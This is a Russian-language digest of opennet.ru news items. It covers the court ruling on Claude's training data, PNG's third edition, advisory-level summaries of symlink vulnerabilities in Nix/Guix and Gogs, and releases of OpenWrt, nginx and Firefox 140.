Окружной суд Калифорнии вынес решение в разбирательстве против компании Anthropic, которая обвинялась в нарушении авторских прав при использовании легально купленных книг и нелегальных коллекций книг с пиратских сайтов для обучения большой языковой модели Claude. Суд постановил, что использование для обучения модели легально купленных книг соответствует принципу добросовестного использования и получение разрешения у авторов в этом случае не требуется, так как книги используются для анализа и генерации нового текста, а не для прямого копирования оригиналов.
При этом суд признал нарушением авторских прав использование книг, загруженных с пиратских сайтов, которые не могут выступать заменой публичным библиотекам. Размер компенсации за использование пиратского контента для обучения модели Claude будет определён в отдельном судебном разбирательстве.
Суд также отверг доводы истцов о том, что большие языковые модели подрывают конкуренцию среди авторов, указав, что закон об авторском праве призван оберегать оригинальные авторские работы, а защищать авторов от конкуренции. По словам судьи, жалобы на повышение конкуренции из-за обучения языковых моделей можно сравнить с жалобами на то, что обучение школьников приведёт к росту конкурирующих работ.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63467
Опубликована третья редакция формата PNG
Консорциум W3C опубликовал третью редакцию спецификации формата изображений PNG, которая получила статус рекомендованного стандарта. Новый вариант полностью обратно совместим со второй редакцией спецификации PNG, выпущенной в 2003 году, и отличается включением таких дополнительных возможностей, как поддержка расширенного динамического диапазона (HDR), анимированных изображений (APNG), интеграции метаданных EXIF и свойств CICP (Coding-Independent Code Points) для определения цветовых пространств.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63466
Уязвимости в пакетных менеджерах Nix, Lix и Guix
В пакетных менеджерах GNU Guix, Nix и Lix выявлены уязвимиости (Nix, Guix, Lix), позволяющие выполнить код с правами пользователей, под которыми запускаются сборочные задания (например, nixbld* в Nix/Lix), что может использоваться для записи своих данных в сборочное окружение и внесения изменений в сборочный процесс. Проблемы присутствуют в фоновых процессах guix-daemon и nix-daemon, применяемых для организации доступа непривилегированных пользователей к сборочным операциям.
Уязвимости вызваны тем, что при выполнении некоторых операций для доступа к временным сборочным каталогам использовались не дескрипторы dirfd, а полные файловые пути, что позволяло подменить сборочный каталог, размещаемый в иерархии /tmp (например, "/tmp/guix-build-PACKAGE-X.Y.drv-0"). Неверное использование dirfd в функции рекурсивного удаления приводило к состоянию гонки, из-за которого атакующий мог подставить символическую ссылку в момент между созданием и изменением владельца сборочного каталога. При успешной атаке guix-daemon/nix-daemon вместо смены пользователя для сборочного каталога менял владельца для файла, адресуемого символической ссылкой.
Уязвимости устранены в обновлениях Lix 2.93, Nix 2.29 и Guix 1.4.0-38.0e79d5b. Для эксплуатации уязвимостей атакующий должен иметь возможность запуска произвольных сборочных работ. Для атаки с использованием уязвимости CVE-2025-46415 достаточно возможности создания файлов в каталоге /tmp на сборочной машине, а для уязвимости CVE-2025-46416 необходимо иметь возможность запуска кода в контексте основного пространств имён идентификаторов пользователей (pid namespace) и сети (network namespace).
Источник: https://www.opennet.ru/opennews/art.shtml?num=63464
Уязвимость в платформе совместной разработки Gogs, позволяющая выполнить код на сервере
В платформе совместной разработки Gogs выявлена уязвимость, которой присвоен критический уровень опасности (10 из 10). Уязвимость позволяет непривилегированному пользователю Gogs изменить исходный код других пользователей сервиса, а также выполнить произвольные команды на сервере с правами пользователя, указанного через параметр RUN_USER в конфигурации Gogs. Уязвимость устранена в обновлении Gogs 0.13.3. Проблема является следствием неполного исправления уязвимости CVE-2024-39931, раскрытой в декабре. Уязвимость не затрагивает платформы Forgejo и Gitea, продолжающие развитие форка Gogs, созданного в 2016 году.
Уязвимость вызвана возможностью манипуляции файлами в каталоге .git из web-редактора репозиториев. При исправлении уязвимости в декабре была добавлена проверка загрузки файлов в каталог .git, но осталась не полностью блокирована возможность удаления файлов. В частности, при удалении проверялось совпадение файлового пути с каталогом .git, но не выполнялись проверки символических ссылок. Для обхода добавленной проверки достаточно было создать символическую ссылку, указывающую на каталог .git, и в дальнейшем использовать эту ссылку для удаления содержимого, вместо прямого обращения к каталогу .git.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63460
Обновление дистрибутива OpenWrt 24.10.2
Состоялся выпуск дистрибутива OpenWrt 24.10.2, развиваемого для сетевых устройств, таких как маршрутизаторы, коммутаторы и точки доступа. OpenWrt поддерживает 2771 устройство и предлагает систему сборки, упрощающую кросс-компиляцию и создание собственных сборок. Подобные сборки позволяют формировать готовые прошивки с желаемым набором предустановленных пакетов, оптимизированные под конкретные задачи. Готовые сборки опубликованы для 39 целевых платформ.
Основные изменения в OpenWrt 24.10.2:
- Добавлена поддержка устройств:
- bcm27xx: Raspberry Pi 5, Raspberry P 500 и Raspberry P CM5.
- mediatek: ASUS RT-AX52, Cudy WR3000/WR3000H, Mercusys MR80X v3, Routerich AX3000 v1, TP-Link Archer AX80v1, WAVLINK WL-WN573HX3.
- ramips: Arcadyan WE410443 и Xiaomi MiWiFi 3A.
- ath79: TP-Link Archer C6 v2.
- Для устройств Teltonika RUTX50 (ipq40xx) включён по умолчанию модем.
- Для платформы bcm27xx (Raspberry Pi) реализован драйвер BRCMSTB I2C и задействован существующий драйвер SDHOST.
- Решены проблемы с устройствами: Extreme Networks AP3935, Genexis EX40, NanoPi R6C/R6S.
- Устранены проблемы при сборке с использованием GCC 15.
- В базовое ядро (generic) добавлены драйверы для Broadcom NetXtreme-C/E, DesignWare I2C, DesignWare SPI, Huawei HINIC, Microchip ENC28J60 SPI Ethernet.
- При загрузке системы обеспечена загрузка модулей ядра kmod-r8101, kmod-r8125, kmod-r8126, kmod-r8127 и kmod-r8168. В модулях kmod-r8125, kmod-r8126 и kmod-r8127 включена опция ENABLE_MULTIPLE_TX_QUEUE.
- Пакет с ядром обновлён до версии 6.6.93 (была 6.6.86). Актуализирована кодовая база ucode и netifd.
- Из ядра Linux 6.16 бэкпортированы драйверы kmod-phy-realtek и kmod-r8169. Драйвер kmod-r8125 обновлён до версии 9.016.00, а пакет
bcm27xx-gpu-fw до версии 1.20250430.
- Остаётся нерешённой проблема с работой Wi-Fi диапазона 5GHz на некоторых устройствах с чипами ath10k, таких как TP-Link Archer C60 v1.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63463
Изменение правил в каталоге дополнений к Firefox
Компания Mozilla представила обновлённые правила размещения дополнений в каталоге AMO (addons.mozilla.org), которые начнут действовать 4 августа. Наиболее заметным изменением стало снятие запрета на ограничение доступа к дополнениям - авторы дополнений теперь могут на своё усмотрение ограничивать доступ к дополнениям, размещаемым в AMO. Например, допускается размещения дополнений только для внутреннего использования или для закрытых групп пользователей.
Другие изменения:
- Изменена терминология в отношении сбора и передачи во вне данных, полученных от пользователя или связанных с его деятельностью. Общий принцип не изменился - дополнениям разрешено передавать только данные, напрямую связанные с выполняемыми функциями и с явного согласия пользователя. Термин "сбор данных" (collection) воспринимался некоторыми разработчиками как отдельная категория, не идентичная передаче данных и связанная с накоплением информации, в то время как в обоих случаях подразумевалась только передача данных за пределы браузера. В новых правилах все упоминания сбора данных заменены на "передачу данных".
- Авторам дополнений разрешено размещение правил обеспечения конфиденциальности на внешних серверах, а не только в самом каталоге AMO.
- Добавлены правила в отношении использования API userScripts, который теперь можно использовать только в дополнениях с менеджерами скриптов (user script manager), специально созданных для подстановки скриптов-обработчиков на страницы, и запрещено применять для изменения поведения самого менеджера скриптов.
- Расширены требования к предоставлению исходного кода дополнения, пригодного для рецензирования (без обфусцирования и минимизирования). Код используемых в дополнениях зависимостей теперь должен включаться в состав пакета с исходным кодом или подобные зависимости должны загружаться при сборке при помощи официальных пакетных менеджеров.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63462
Новая версия nginx 1.29.0
Опубликован первый выпуск новой основной ветки nginx 1.29.0, в рамках которой будет продолжено развитие новых возможностей. В параллельно поддерживаемой стабильной ветке 1.28.x вносятся только изменения, связанные с устранением серьёзных ошибок и уязвимостей. В следующем году на базе основной ветки 1.29.x будет сформирована стабильная ветка 1.30. Код проекта написан на языке Си и распространяется под лицензией BSD.
В новом выпуске:
- Добавлена директива "early_hints" и реализована поддержка HTTP-кода 103 в ответах от бэкентов proxy и gRPC. Код 103 позволяет информировать клиента о содержании некоторых HTTP-заголовков сразу после запроса, не дожидаясь пока сервер выполнит все связанные с запросом операции и начнёт отдачу контента. Подобным образом можно сообщать подсказки о связанных с отдаваемой страницей элементах, которые могут быть предварительно загружены (например, могут быть приведены ссылки на используемые на странице css и javascript). Получив информацию о подобных ресурсах браузер приступит к их загрузке не дожидаясь окончания отдачи основной страницы, что позволяет сократить общее время обработки запроса.
- Предоставлена возможность загрузки криптографических ключей из аппаратных токенов, используя в качестве провайдера библиотеку OpenSSL.
- На платформе macOS реализована поддержка параметра "so_keepalive" в директиве "listen".
- Уровень ошибок, возникающих при согласовании соединения с использованием протокола QUIC, изменён с "error" на "crit" для критических проблем c SSL и на "info" для остальных проблем с SSL.
- При сборке версии для Windows задействован Windows SDK 10.
- Решены проблемы со сборкой модулей ngx_http_v2_module и
ngx_http_v3_module, используя GCC 15, а также проблемы со сборкой модуля ngx_http_v3_module с оптимизациями "-O3 -flto" в GCC 14.
- Улучшена поддержка HTTP/3.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63459
Компания SUSE открыла AI-модель для анализа лицензионной чистоты кода
Компания SUSE объявила об открытии под лицензией Apache 2.0 большой языковой модели Cavil-Qwen3-4B, применяемой в проектах SUSE и openSUSE в инструментарии Cavil для анализа лицензионной частоты кода. Опубликованная модель охватывает 4 миллиардов параметров и основана на модели Qwen3-4B, дополнительно оптимизированной для классификации текста.
Основным назначением модели называется определение лицензий, используемых в исходном коде программ и документации. Для выполнения данной задачи модель дополнительно обучена на наборе данных, включающем 150 тысяч примеров заголовков и комментариев с упоминаниями лицензий в исходном коде. На практике модель позволяет автоматизировать проверку лицензионной чистоты кодовой базы для выявления лицензионных несовместимостей и потенциальных юридических проблем с кодом.
Размер модели подобран для достижения сочетания качественного понимания языковых конструкций и возможности выполнения на системах с типовыми потребительскими GPU. Помимо самой модели в свободном доступе размещён набор данных, используемый при обучении, и инструментарий для валидации. Также доступен обработчик для задействования модели в инструментарии Cavil, предназначенном для проверки исходного кода на предмет соблюдения юридических норм и требований (проверка лицензий, выявление нарушений лицензий, оценка рисков).
Источник: https://www.opennet.ru/opennews/art.shtml?num=63454
Релиз Firefox 140
Состоялся релиз web-браузера Firefox 140 и сформированы обновления прошлых веток с длительным сроком поддержки - 115.25.0 и 128.12.0. На стадию бета-тестирования переведена ветка Firefox 141, релиз которой намечен на 22 июля.
Основные новшества в Firefox 140:
- В панели вертикальных вкладок реализована возможность изменения размера области закреплённых вкладок, применяемой для быстрого доступа к важным страницам. Для увеличения числа закреплённых вкладок (за счёт уменьшения места для обычных открытых вкладок) достаточно переместить мышью разделитель секций.
- В контекстное меню, показываемое при клике правой кнопкой мыши на вкладке или группе выделенных вкладок, добавлен пункт "Unload Tab", позволяющий выгрузить вкладки из памяти для снижения потребления памяти и ресурсов CPU.
- Предоставлена возможность добавления собственных поисковых движков. Для добавления поисковых движков на сайтах, использующих тег ‹link rel="search"...› для описания параметров поисковой системы, можно использовать элемент "Add Search Engine" в контекстном меню, показываемом при клике правой кнопкой мыши на поле поиска. Поисковый движок также можно добавить в конфигураторе (Settings › Search › Add).
- В интерфейсе настройки содержимого панели инструментов (Customize toolbar... в контекстном меню панели) реализована возможность удаления ярлыка со списком дополнений. В случае скрытия кнопки с дополнениями, доступ к интерфейсу управления дополнениями можно получить через кнопку "Extensions" в основном меню.
- При переводе на другой язык содержимого всей страницы отныне вначале переводится только содержимое видимой части страницы, а остальной контент переводится по мере прокрутки. Изменение позволяет снизить потребление ресурсов и повысить отзывчивость интерфейса при переводе.
- Для пользователей из Польши, Италии и Австрии включена функция автозаполнения адресов в web-формах, которая ранее была доступна только для США, Великобритании, Канады, Германии и Франции.
- Из панели инструментов и страницы открытия новой вкладки удалены компоненты, связанные с сервисом Pocket, поддержка которого прекращена компанией Mozilla.
- Добавлена поддержка атрибута "aria-keyshortcuts", определённого в спецификации ARIA (Accessible Rich Internet Applications) для людей с ограниченными возможностями и
позволяющего указывать комбинации клавиш для переключения фокуса на элемент.
- Добавлен API CookieStore, позволяющий получать, выставлять и удалять Cookie в асинхронном режиме из скриптов, выполняемых в контексте HTML-страниц или Service Worker-ов.
- Реализован API Custom Highlight, предназначенный для произвольного изменения стиля выделенных областей текста и позволяющий не ограничиваться предоставляемым браузером фиксированным стилем для выделенных областей (::selection, ::inactive-selection) и подсветки синтаксических ошибок (::spelling-error, ::grammar-error). Например, при помощи нового API в web-фреймворках, предоставляющих инструменты для редактирования текста, можно реализовать собственные механизмы выделения текста, разного выделения при одновременном совместном редактировании несколькими пользователями и пометки ошибок при проверке правописания. Если раньше, для создания нестандартного выделения требовались усложнённые манипуляции с деревом DOM, то API Custom Highlight предоставляет готовые операции для добавления и удаления подсветки, не влияющие на структуру DOM и применяющие стили в привязке к объектам Range.
- Добавлена поддержка события pointerrawupdate, позволяющего отслеживать перемещение указателя. По сравнению с событием "pointermove" новое событие генерируется более часто и по мере появления данных, что может быть востребовано в приложениях, которым необходимо отслеживать движение указателя с высокой точностью.
- В режиме приватного просмотра сайтам разрешено использование Service Worker-ов для выполнения фоновых задач и использования API IndexedDB и DOM Cache с шифрованным хранилищем.
- Унифицированы размер и стиль шрифта в элементах ‹H1›, которые теперь не зависят от использования ‹H1› внутри блоков ‹article›, ‹aside›, ‹nav› и ‹section›.
- При сериализации HTML-атрибутов включено экранирование символов "‹" и "›" для усложнения некоторых видов XSS-атак. Методы Element.innerHTML, Element.outerHTML, Element.getHTML, ShadowRoot.innerHTML и ShadowRoot.getHTML теперь будут заменять символы "‹" и "›" на "<" и ">" при сериализации HTML в строку.
- В инструментах для web-разработчиков в панели инспектирования расширены возможности поиска в дереве DOM текущей страницы. Реализована возможность сортировки результатов поиска по числу найденных элементов и поддержке псевдо-классов.
- В версии для платформы Android упрощено управление закладками (добавлена кнопка "Select All" для выполнения операций сразу с несколькими закладками). Усилена защита в режиме приватного просмотра.
Кроме новшеств и исправления ошибок в Firefox 140 устранено 17 уязвимостей. 6 уязвимостей вызваны проблемами работы с памятью, такими как переполнения буферов и обращение к уже освобождённым областям памяти. Потенциально данные проблемы способны привести к выполнению кода злоумышленника при открытии специально оформленных страниц. Отдельно можно отметить проблему во встроенном в Firefox дополнении WebCompat, которая позволяет идентифицировать экземпляры браузера, в том числе при просмотре страницы в приватном режиме. Уязвимость вызвана возможностью получения постоянного идентификатора (UUID) через анализ ресурсов, выдаваемых дополнением WebCompat.
В бета-версии Firefox 141 снижено потребление памяти на платформе Linux и убрано требование перезапуска после обновления при помощи пакетного менеджера.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63457